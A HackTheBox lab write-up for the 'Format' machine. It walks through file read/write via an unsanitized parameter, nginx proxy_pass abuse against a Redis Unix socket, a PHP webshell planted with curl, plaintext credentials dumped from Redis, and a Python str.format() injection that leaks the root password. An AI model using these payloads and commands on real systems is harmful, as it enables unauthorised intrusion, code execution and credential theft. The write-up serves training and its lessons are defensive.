HTB: Format Writeup
Format - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Format |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Format is a Medium Linux box built around a custom “Microblog” application spread across two virtual hosts (app.microblog.htb and microblog.htb, the latter hosting a Gitea source repository). Source review of the blog editor uncovers an unsanitized file-path parameter that grants arbitrary file read/write, which doubles as intel-gathering (reading /etc/passwd and the nginx config) and as a write primitive. The nginx config’s proxy_pass block turns out to be exploitable against a Redis Unix socket, letting an unprivileged user flip their own account to “Pro” status. Pro status unlocks an executable, unrestricted uploads directory — the missing piece needed to drop a PHP webshell and get code execution as www-data. From there, credentials pulled straight out of Redis provide SSH access as cooper, and a sudo-permitted Python license-management script turns out to be vulnerable to str.format() injection, leaking a root-equivalent secret.
TL;DR: LFI in blog editor (id param) → nginx proxy_pass Unix-socket abuse against Redis → self-promote to Pro → PHP webshell via unrestricted /uploads → RCE as www-data → Redis-stored password → SSH as cooper → Python str.format() injection in sudo-permitted /usr/bin/license → leaked secret → root.
Reconnaissance
Port Scanning
# full TCP sweep with default script + version detectionnmap -sC -sV -T4 -p- 10.10.11.XResults:
| Port | State | Service | Notes |
|---|---|---|---|
| 22/tcp | open | ssh | |
| 80/tcp | open | http (nginx) | vhost → app.microblog.htb |
| 3000/tcp | open | http (nginx) | vhost → microblog.htb, fronting a Gitea instance |
Service Enumeration
app.microblog.htb is the “Microblog” application — user registration, login, and a dashboard for creating personal blogs on their own subdomains (e.g. <blogname>.microblog.htb). Registered a throwaway account (devguy) and created a blog named devtest, giving a working blog at devtest.microblog.htb and an editor at devtest.microblog.htb/edit.
microblog.htb:3000 hosts the Gitea instance containing the application’s own source code — reviewing it directly against the live app is what surfaces the vulnerability below rather than blind black-box testing.
Vulnerability Assessment
Source review of the blog editor (edit/index.php) shows it takes an id parameter from the POST body, uses it directly as a filename to write posted content into the blog’s content directory, and records it in an order.txt index that the blog’s render function later reads back via file_get_contents(). There’s no validation on id — it’s a path, and it’s attacker-controlled:
- Arbitrary file read/write (LFI) via the unsanitized
idparameter in/edit/index.php. - Nginx
proxy_passSSRF against a local Unix socket, reachable once the nginx config is read via the LFI. - Unrestricted
/uploadsdirectory provisioned for “Pro” accounts — executable, and (unlike the regular content directory) not forced to download viaContent-Disposition. sudo-permitted Python script (/usr/bin/license) vulnerable to Python string-formatting injection.
Initial Foothold
Exploitation Path
1. Confirm the LFI via id. Pointing the blog editor’s id parameter at /etc/passwd and rendering the blog page back confirmed both the read and write primitives, and turned up the cooper account:
# id is written verbatim as the filename that gets read back on rendercurl -s -b "username=devguy_session" \ -d "id=/etc/passwd&txt=anything" \ http://devtest.microblog.htb/edit/index.php
curl -s http://devtest.microblog.htb/ | grep -A2 passwd# ... cooper:x:1000:1000::/home/cooper:/bin/bash ...2. Pivot the LFI to nginx’s own config to find out what else the webserver could be coerced into touching:
curl -s -d "id=/etc/nginx/sites-available/default&txt=anything" \ http://devtest.microblog.htb/edit/index.phpThis turned up the vhost’s static-asset proxy block:
location ~ /static/(.*)/(.*) { resolver 127.0.0.1; proxy_pass http://$1.microbucket.htb/$2;}$1 and $2 come straight from the request path with no restriction on scheme or host — and nginx’s proxy_pass supports proxying to a Unix socket via an http://unix:<path>:<uri> target. That means a crafted request path can redirect the proxy at any local Unix socket, including Redis’s.
3. Abuse the proxy to talk to Redis over its Unix socket. The Microblog app tracks “Pro” status per user as a Redis hash field. Since HSET accepts a variable number of arguments, splicing extra tokens into the proxied request line lets an attacker set arbitrary keys on arbitrary Redis hashes — including their own account:
HSET /static/unix:/var/run/redis/redis.sock:devguy pro true / HTTP/1.1Sent (URL-encoded) against microblog.htb — the vhost owning that proxy_pass block — this returned a 502 (Redis speaking its own wire protocol back over what nginx expected to be HTTP), but the side effect landed: devguy was now flagged as a Pro user.
4. Turn Pro status into code execution. Being Pro triggers provisionProUser(), which creates an /uploads directory for the blog — executable, and critically not subject to the forced-download Content-Disposition header that protects the regular content directory (which is what stopped a webshell from running when dropped there directly via the LFI write). Wrote a PHP webshell into it via the same LFI write primitive:
curl -s -d "id=/var/www/microblog/devtest/uploads/shell.php&txt=<?php system(\$_REQUEST['cmd']); ?>" \ http://devtest.microblog.htb/edit/index.php
# confirm code execution as www-datacurl -s "http://devtest.microblog.htb/uploads/shell.php?cmd=id"# uid=33(www-data) gid=33(www-data) groups=33(www-data)Privilege Escalation
www-data → cooper
With command execution as www-data, connected to the same Redis Unix socket the app itself uses and dumped the stored user hashes:
redis-cli -s /var/run/redis/redis.sock127.0.0.1:0> hgetall cooper.dooper1) "username"2) "cooper.dooper"3) "password"4) "zooperdoopercooper"Redis was storing the application’s user credentials in plaintext. That password worked directly for SSH:
ssh cooper@<target># password: zooperdoopercoopercooper@format:~$ cat user.txt<redacted>cooper → root
sudo -l as cooper showed a single passwordless (to cooper) entry:
(root) /usr/bin/license/usr/bin/license is a Python script that manages license keys for Microblog users pulled from Redis. It builds the plaintext key by string-formatting together static text and user-controlled Redis fields (username, first name, last name) against an object that references a secret loaded at import time:
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)Because username/first-name/last-name are attacker-controlled Redis hash values and get fed into .format(), a format-spec payload in any of those fields is evaluated against the license object’s attribute tree — including __init__.__globals__, which exposes the module’s global secret variable. Injected the payload into the username field of a new Redis hash and provisioned a license for it:
redis-cli -s /var/run/redis/redis.sock127.0.0.1:0> HSET pwn username "{license.__init__.__globals__[secret]}"127.0.0.1:0> HSET pwn first-name first127.0.0.1:0> HSET pwn last-name lastcooper@format:~$ sudo /usr/bin/license -p pwnPlaintext license key:------------------------------------------------------microblogunCR4ckaBL3Pa$$w0rd{license.license}firstlastThe formatted output leaked secret directly into the plaintext key: unCR4ckaBL3Pa$$w0rd. That value doubled as the root account’s password:
cooper@format:~$ su rootPassword: unCR4ckaBL3Pa$$w0rdroot@format:~# cat /root/root.txt<redacted>Attack Chain Summary
nmap → app.microblog.htb (80) + microblog.htb Gitea (3000) → register devguy, create blog devtest.microblog.htb → Gitea source review: edit/index.php `id` param unsanitized (LFI r/w) → read /etc/passwd (cooper) + /etc/nginx/sites-available/default → proxy_pass regex abused → http://unix: → Redis socket → HSET devguy pro true (self-promote to Pro) → provisionProUser() creates executable /uploads (no forced download) → LFI-write PHP webshell → RCE as www-data → Redis hgetall cooper.dooper → password zooperdoopercooper → SSH as cooper → user.txt → sudo -l: /usr/bin/license (root) → Redis HSET pwn username {license.__init__.__globals__[secret]} → sudo /usr/bin/license -p pwn → leaks secret unCR4ckaBL3Pa$$w0rd → su root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery |
| Gitea (web UI) | Source code review of the Microblog app |
curl | Crafting LFI read/write and proxy_pass/Redis exploit requests |
redis-cli | Enumerating Redis hashes, injecting the format-string payload |
| PHP webshell | RCE as www-data via the writable /uploads directory |
ssh | Lateral movement as cooper |
sudo -l | Privilege escalation vector discovery |
Key Learnings
Techniques Practiced
- Identifying unsanitized file-path parameters via source code review (Gitea) rather than blind fuzzing
- Chaining an LFI read/write primitive into config disclosure and payload delivery
- Exploiting nginx
proxy_passregex captures to redirect requests at a Unix domain socket - Abusing Redis’s variable-argument
HSETto write arbitrary hash fields via a smuggled command line - Escalating an app-level “Pro” flag into an unrestricted upload path for RCE
- Harvesting plaintext credentials directly from a Redis datastore
- Exploiting Python
str.format()injection to reach__globals__and leak in-process secrets
Lessons Learned
- Never derive a filename or file path directly from unsanitized user input — even “just tracking display order” logic becomes an arbitrary write primitive.
- Regex capture groups fed straight into
proxy_passare a request-smuggling and SSRF risk, especially once Unix-socket proxying is in scope. - A Unix socket is not a trust boundary by itself — anything able to reach it (directly or via a misconfigured proxy) can speak its wire protocol.
- Storing credentials in Redis (or any datastore) in plaintext turns any read access into full account compromise.
- Never pass user-controlled strings into Python’s
.format()— it exposes the full attribute graph of any object referenced in the format call, including module globals.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- “Format” — HackTheBox Official Writeup, by dotguy (Document No D23.100.236), used here for conceptual/explanatory background on the
proxy_pass-to-Redis-socket technique and the Pythonstr.format()injection class of bug. All IPs, credentials, file paths, and command output in this writeup are from the author’s own solve.